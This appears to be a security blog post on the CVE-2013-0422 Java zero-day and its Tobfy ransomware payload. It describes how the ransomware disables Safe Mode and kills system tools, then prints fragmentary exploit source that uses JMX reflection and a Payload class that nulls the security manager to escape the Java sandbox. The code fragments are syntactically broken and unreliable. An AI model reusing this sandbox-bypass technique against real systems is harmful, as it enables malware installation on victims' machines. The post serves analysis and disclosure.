New Zero-Day Java Exploit

After Julia Wolf, Darien Kindlund, and James Bennett from FireEye, in their post: Happy New Year from new Java Zero-day, observed that a Java security bypass zero-day vulnerability (CVE-2013-0422) has been actively exploited in the wild starting Jan. 2. They have been able to reproduce the attack in-house with the latest Java 7 update (Java 7 update 10) on Windows.

Some initial landing pages are actually hosted on a popular file-sharing website. Eventually the landing pages redirect to several different domains hosting exploits and malware.

The malware will download an executable file from a remote server and execute it by exploiting the vulnerability. Though the malware is designed for Windows only, the vulnerability can also be exploited across different browsers and OS platforms.


The malware payload is ransomware, commonly known as Tobfy. It retrieves a template from the Web, in this case:
hxxp://<random> — and creates a full screen window demanding payment using some kind of social engineering scheme to scare the victim. Additionally, it disables Windows Safe Mode by deleting values under

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot, and it terminates processes like “taskmgr.exe,” “msconfig.exe,” “regedit.exe,” and “cmd.exe” in order to deter the victim from trying to find or disable the malware. Strings such as:
\\xneo\\lock\\Release\\lock.pdb and “Conteneur ActiveX” were found in memory and helped make identification easier.

One more noteworthy finding is that the URLs used to download the template and make callbacks are stored XOR encoded and must be decoded before use. However, it appears the author forgot to call the decode function in the callback thread. This means that the malware is unable to communicate with the attacker. The malware is supposed to make an HTTP request for:
hxxp://<random>, but instead requests the invalid URL
hxxp://<random>`utr/qiq. What makes this error even worse for victims is that this callback thread determines whether the victim has paid the fee and is responsible for removing the ransomware from the system. It seems even paying up will do no good in this case!





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    import java.applet.Applet;
    import com.sun.jmx.mbeanserver.Introspector;
    import com.sun.jmx.mbeanserver.JmxMBeanServer;
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    // and write it out to the byte array stream
    while( ( length = buffer ) ) > 0 )
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    // convert it to a simple byte array
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    Method method1 = getMethod(class1, “createClassLoader”, false);
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    catch (Throwable localThrowable){}


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    Class[] aclass = method.getParameterTypes();
    if ((s1 == s) && ((!flag) || (aclass.length == 0))) return method;
    } catch (Exception localException) { }

    return null;

    private Class gimmeClass(String s) throws ReflectionException, ReflectiveOperationException
    Object obj = null;
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    Method method = class1.getMethod("findClass", new Class[] { String.class, ClassLoader.class });
    return (Class)method.invoke(mbeaninstantiator, new Object[] { s, obj });


    import java.lang.reflect.Method;

    public class Payload implements PrivilegedExceptionAction

    public Payload()
    catch(Exception exception) { }

    public Object run() throws Exception
    Class cl = System.class;
    Method m = cl.getMethod("setSecurityManager", new Class[] { SecurityManager.class });
    m.invoke(null, new Object[1]);
    return null;

    public static void outSandbox() throws Exception

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